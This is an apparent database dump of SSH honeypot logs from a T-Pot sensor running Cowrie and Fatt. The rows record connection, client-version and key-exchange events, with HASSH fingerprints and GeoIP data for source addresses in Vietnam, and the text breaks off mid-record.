21242	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:42.891373+03	2021-09-20 14:15:03.411612+03	{"_id": "wgbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "078ee39c115f", "@version": "1", "timestamp": "2021-09-20T11:06:42.891373Z", "@timestamp": "2021-09-20T11:06:42.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21243	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:43.105306+03	2021-09-20 14:15:03.412613+03	{"_id": "wwbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8f46dcae31ae", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:43.105306Z", "@timestamp": "2021-09-20T11:06:43.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21246	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:43.583226+03	2021-09-20 14:15:03.416613+03	{"_id": "7gbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:39458 (192.168.176.2:22) [session: 536231a66d87]", "session": "536231a66d87", "@version": "1", "protocol": "ssh", "src_port": 39458, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.583226Z", "@timestamp": "2021-09-20T11:06:43.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21247	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:43.279725+03	2021-09-20 14:15:03.417613+03	{"_id": "8QbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b7e753ab030f", "@version": "1", "timestamp": "2021-09-20T11:06:43.279725Z", "@timestamp": "2021-09-20T11:06:43.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21248	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:43.411402+03	2021-09-20 14:15:03.419613+03	{"_id": "8wbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8f46dcae31ae", "@version": "1", "timestamp": "2021-09-20T11:06:43.411402Z", "@timestamp": "2021-09-20T11:06:43.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21249	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:43.106928+03	2021-09-20 14:15:03.420613+03	{"_id": "BAbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41842, "timestamp": "2021-09-20T11:06:43.106928", "@timestamp": "2021-09-20T11:06:43.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21250	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:43.127399+03	2021-09-20 14:15:03.421614+03	{"_id": "BQbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39244, "timestamp": "2021-09-20T11:06:43.127399", "@timestamp": "2021-09-20T11:06:43.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21251	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:43.127606+03	2021-09-20 14:15:03.422612+03	{"_id": "BgbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39244, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.127606", "@timestamp": "2021-09-20T11:06:43.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21252	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:43.66014+03	2021-09-20 14:15:03.424613+03	{"_id": "9gbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": 